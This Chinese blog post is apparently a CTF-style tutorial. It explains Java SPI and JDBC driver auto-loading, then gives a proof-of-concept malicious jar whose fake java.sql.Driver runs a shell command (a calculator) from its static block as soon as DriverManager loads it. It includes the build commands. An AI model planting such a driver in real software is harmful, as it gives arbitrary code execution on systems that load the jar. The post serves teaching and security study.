【Web】浅浅地聊JDBC java.sql.Driver的SPI后门

news/2024/5/18 21:49:29 标签: java, jdbc, spi, ctf, web, driver后门

目录

SPI定义

SPI核心方法和类

最简单的SPIdemo演示

回顾JCBC基本流程

为什么JDBC要有SPI

java.sql.Driver%E5%90%8E%E9%97%A8%E5%88%A9%E7%94%A8%E4%B8%8E%E9%AA%8C%E8%AF%81-toc" style="margin-left:0px;">JDBC java.sql.Driver后门利用与验证


SPI定义

SPI: Service Provider Interface
官方定义: 直译过来是服务提供者接口,学名为服务发现机制
它通过在ClassPath路径下的META-INF/services文件夹中查找文件(以接口名为文件名,以实现类全限定名为文件内容的文件),并自动加载文件里所定义的类

1.SPI机制能够使接口与具体的实现类解耦,可以根据实际的业务情况启用或替换具体组件
2.SPI机制为很多框架的拓展提供了可能
3.SPI机制更多是一种思想

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
        load(Class<S> service):静态方法,用于加载实现了指定接口的服务提供者。
        iterator():返回一个迭代器,用于遍历加载的服务提供者实例。

java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
        hasNext():判断是否还有下一个元素。
        next():返回下一个元素。

java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
        AbstractProvider:用于创建服务提供者的抽象类。
        ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

最简单的SPIdemo演示

项目目录:

 META-INF/services/com.spi.SpiService

com.spi.SPI_1
com.spi.SPI_2

SpiService

package com.spi;

public interface SpiService {
    public void run();
}

SPI_1

package com.spi;

public class SPI_1 implements SpiService {
    @Override
    public void run() {
        System.out.println("SPI_1 is running...");
    }
}

SPI_2

package com.spi;

public class SPI_2 implements SpiService {
    @Override
    public void run() {
        System.out.println("SPI_2 is running...");
    }
}

SpiTest

package com.spi;

import java.util.ServiceLoader;

public class SpiTest {
    public static void main(String[] args) {
        ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
        for (SpiService spiService : serviceLoader) {
            spiService.run();
        }
    }
}

运行演示

回顾JCBC基本流程

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

为什么JDBC要有SPI

以前我们使用JDBC访问Mysql数据库的时候,都会执行Class.forName("com.mysql.cj.jdbc.Driver"),这样就会实例化驱动类,同时也会执行驱动类中的static代码块中的DriverManager.registerDriver(new Driver()),将驱动类注册到Drivermanager中

但是将驱动类的全路径名称写到代码中,非常不方便。如果将类的全路径名写到配置文件中,虽然方便,但是还需要我们去记驱动类的全路径名

使用Java的SPI就可以解决这个问题。让Mysql驱动提供方同时提供驱动包和驱动配置文件,Java SPI通过类ClassLoader(通过getResource/getResources从指定位置读取classpath中的配置文件、可以加载类)自动从指定位置读取配置文件并进行驱动类的加载。这样就不用我们进行驱动类的加载了,而且Mysql驱动提供方能很方便的进行驱动的升级

java.sql.Driver%E5%90%8E%E9%97%A8%E5%88%A9%E7%94%A8%E4%B8%8E%E9%AA%8C%E8%AF%81" style="background-color:transparent;">JDBC java.sql.Driver后门利用与验证

数据库厂商提供的 JDBC 驱动程序通过在 JAR 包中的 META-INF/services/java.sql.Driver 文件中指定实现了 java.sql.Driver 接口的驱动程序类的方式来注册自己。JDBC 在启动时会使用 SPI 机制来动态加载这些驱动程序类,无需显式地调用 Class.forName 来加载驱动程序,从而实现了自动注册数据库驱动程序的功能。

这也为我们留下了后门,我们可以创建一个自己的恶意jar包传给JDBC,从而导致恶意类的加载,静态代码块的执行,开始复现!

先生成恶意的jar包

创建项目结构如下

 META-INF/services/java.sql.Driver

evil.MySQLDriver

MySQLDriver.java

package evil;

import java.sql.*;
import java.util.*;
import java.util.logging.*;

public class MySQLDriver implements java.sql.Driver {

    protected static boolean DEBUG = false;

    protected static final String WindowsCmd = "calc";

    protected static final String LinuxCmd = "open -a calculator";

    protected static  String shell;

    protected static  String args;

    protected static  String cmd;



    static{
        if(DEBUG){
            Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
        }


        if( System.getProperty("os.name").toLowerCase().contains("windows") ){

            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {

            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{

            Runtime.getRuntime().exec(new String[] {shell, args, cmd});

        } catch(Exception ignored) {

        }
    }




    // JDBC methods below


    public boolean acceptsURL(String url){
        if(DEBUG){
            Logger.getGlobal().info("acceptsURL() called: "+url);
        }

        return false;
    }

    public Connection connect(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("connect() called: "+url);
        }

        return null;
    }


    public int getMajorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 1;
    }

    public int getMinorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }

        return 0;
    }

    public Logger getParentLogger(){
        if(DEBUG){
            Logger.getGlobal().info("getParentLogger() called");
        }

        return null;
    }

    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("getPropertyInfo() called: "+url);
        }

        return new DriverPropertyInfo[0];
    }

    public boolean jdbcCompliant(){
        if(DEBUG){
            Logger.getGlobal().info("jdbcCompliant() called");
        }

        return true;
    }
}

 依次运行下列代码

javac src/evil/MySQLDriver.java

jar -cvf evil.jar -C src/ .

在项目目录得到evil.jar这个恶意jar包

然后在JDBC的项目中引入恶意jar包

package com.spi;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class Jdbc_Demo {
    public static void main(String[] args) throws Exception {
        // 注册驱动(可以删去)
//        Class.forName("java.sql.Driver");
        // 获取数据库连接对象
        Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/security","root", "root");
        //  定义sql语句
        String sql = "select * from users";
        // 获取执行sql的对象Statement
        Statement stmt = con.createStatement();
        // 执行sql
        ResultSet res = stmt.executeQuery(sql);
        // 处理对象
        while(res.next()) {
            System.out.println(res.getString("username"));
        }
        // 释放资源
        res.close();
        stmt.close();
        con.close();
    }
}

 运行这段代码便可弹出计算器。

为了验证我们真的导入了恶意类作为jdbc的驱动,我们可以继续运行下面这段代码

package com.spi;

import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;

public class JdbcDriverList {
    public static void main(String[] args) {

        ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader( ));

        for(Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {

            Driver driver = iterator.next();

            System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
        }
    }
}

结果如下,可见我们确实利用driver后门完成了一次偷梁换柱的利用


http://www.niftyadmin.cn/n/5408534.html

相关文章

PyQT6的从零开始在Pycharm中配置与使用

PyQT6的从零开始在Pycharm中配置与使用 1.安装PyQt6 PyQt6-tools2.在Pycharm中配置扩展工具2.1配置QTdesigner2.2配置Pyuic 3.启动3.1、启动designer3.2、启动Pyuic 1.安装PyQt6 PyQt6-tools pip install PyQt6 PyQt6-tools安装成功后&#xff0c;查看安装版本&#xff0c;版本…

PostgreSQL的学习心得和知识总结(一百三十一)|深入理解PostgreSQL数据库如何使用psql中的变量

目录结构 注:提前言明 本文借鉴了以下博主、书籍或网站的内容,其列表如下: 1、参考书籍:《PostgreSQL数据库内核分析》 2、参考书籍:《数据库事务处理的艺术:事务管理与并发控制》 3、PostgreSQL数据库仓库链接,点击前往 4、日本著名PostgreSQL数据库专家 铃木启修 网站…

nodejs 实现方法返回值常见方式

1、使用回调函数 回调函数是一种常见的方式来处理异步操作的结果。定义一个函数&#xff0c;并将回调函数作为参数传递给该函数。在异步操作完成后&#xff0c;调用回调函数并传递结果作为参数。 function asyncFunction(callback) {// 异步操作...// 完成后调用回调函数callb…

【软件工程】介绍

软件工程 软件工程是一门应用计算机科学、数学和工程原则来设计、开发、维护和测试软件的学科。软件工程着重于创建质量高效、可靠、可使用、可维护和快速开发的系统。这个领域从20世纪60年代初开始蓬勃发展&#xff0c;主要是为了解决软件危机&#xff0c;即随着计算机和软件…

公派访问学者如何申请美国探亲签证

近年来&#xff0c;随着国际交流的日益频繁&#xff0c;越来越多的中国公派访问学者希望能够在美国探亲访友&#xff0c;与家人团聚&#xff0c;体验不同文化的魅力。然而&#xff0c;申请美国探亲签证并非易事&#xff0c;需要仔细准备和合理规划。下面知识人网将介绍一些申请…

基于springboot实现的学生评奖评优管理系统的设计与实现(源码|论文)

系统概述 springboot实现的学生评奖评优管理系统的设计与实现&#xff0c;系统分Web端和后台管理端&#xff0c;后端采用的是springbootmybatis&#xff0c;前端采用vuehtml&#xff0c;代码简洁易懂&#xff0c;有配套论文初稿&#xff0c;适合新手小白学变编程... 一、系统架…

前端知识学习之proxy代理对象

前端proxy代理对象 1.学习背景 学习vue3过程中&#xff0c;发现vue3相比于vue2的最大优势在于&#xff0c;尤雨溪大佬在vue3中使用proxy 代理对象&#xff0c;vue2中使用的双向绑定Object.defineProperty&#xff0c;这两者有什么区别 2.Object.defineProperty 使用方法&am…

CSS中 ,有哪些方式可以隐藏页面元素

文章目录 CSS中 &#xff0c;有哪些方式可以隐藏页面元素实现方式display&#xff1a;nonevisibility:hiddenopacity:0设置height 、width属性为0position:absoluteclip-path小结 CSS中 &#xff0c;有哪些方式可以隐藏页面元素 实现方式 通过 css 实现隐藏元素方法有如下 : …